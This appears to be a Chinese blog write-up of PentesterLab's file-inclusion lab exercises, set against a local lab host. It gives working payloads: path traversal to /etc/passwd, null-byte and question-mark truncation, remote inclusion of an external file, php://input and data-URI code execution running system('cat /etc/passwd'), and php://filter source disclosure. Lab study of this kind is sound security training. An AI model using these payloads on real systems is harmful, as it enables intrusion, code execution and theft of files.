zoukankan      html  css  js  c++  java
  • 【渗透测试学习平台】 web for pentester -7.文件包含

    Example 1

     输入单引号,报错,得到物理路径

    可通过../../../../etc/paaswd 读取敏感信息

    可包含本地文件或远程文件

    https://assets.pentesterlab.com/test_include.txt

    Example 2

    加单引号,报错,可发现获取到的参数后面会加上.php后缀

    通过%00截断后面字符

    http://192.168.106.154/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt%00

    文件包含截断技巧:

    1、%00截截断

    2、文件路径长度截断

    3、截断远程包含 问号截断法 url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单

    http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=

    或者直接 http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?

    1、将文件包含漏洞变成代码执行漏洞

    php://input    <?php phpinfo();?>

     2、通过data URI schema

    http://192.168.106.154/fileincl/example1.php?page=data:text/plain,<?php system('cat /etc/passwd')?>

    http://192.168.106.154/fileincl/example1.php?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

     3、通过php://filter读取源码

     http://192.168.106.154/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=intro.php

     base64解码

    最后

    欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。 

     

    参考文章:

    文件包含漏洞小结 http://www.cnblogs.com/iamstudy/articles/include_file.html

    php://input,php://filter,data URI schema的那些事  http://www.cnblogs.com/qing123/p/4513870.html

    截断在文件包含和上传中的利用   http://www.joychou.org/index.php/web/truncated.html

    PHP文件包含漏洞总结  https://www.secpulse.com/archives/3206.html

    盘点那些渗透测试中的奇淫技巧  https://bbs.ichunqiu.com/thread-14031-1-1.html

  • 相关阅读:
    Tongue Twister之scream
    把5页的内容变成2页
    Python3 字符串中的变量替换
    notepad++同时编辑多行
    获取元素属性值
    selenium定位H5表单验证的提示语
    POJ 3009 Curling 2.0(dfs)
    CCF 2016122 工资计算
    POJ 2976 Dropping tests(01分数规划二分(最大化平均值))
    POJ 2155 Matrix(二维树状数组)
  • 原文地址:https://www.cnblogs.com/xiaozi/p/7088819.html
Copyright © 2011-2022 走看看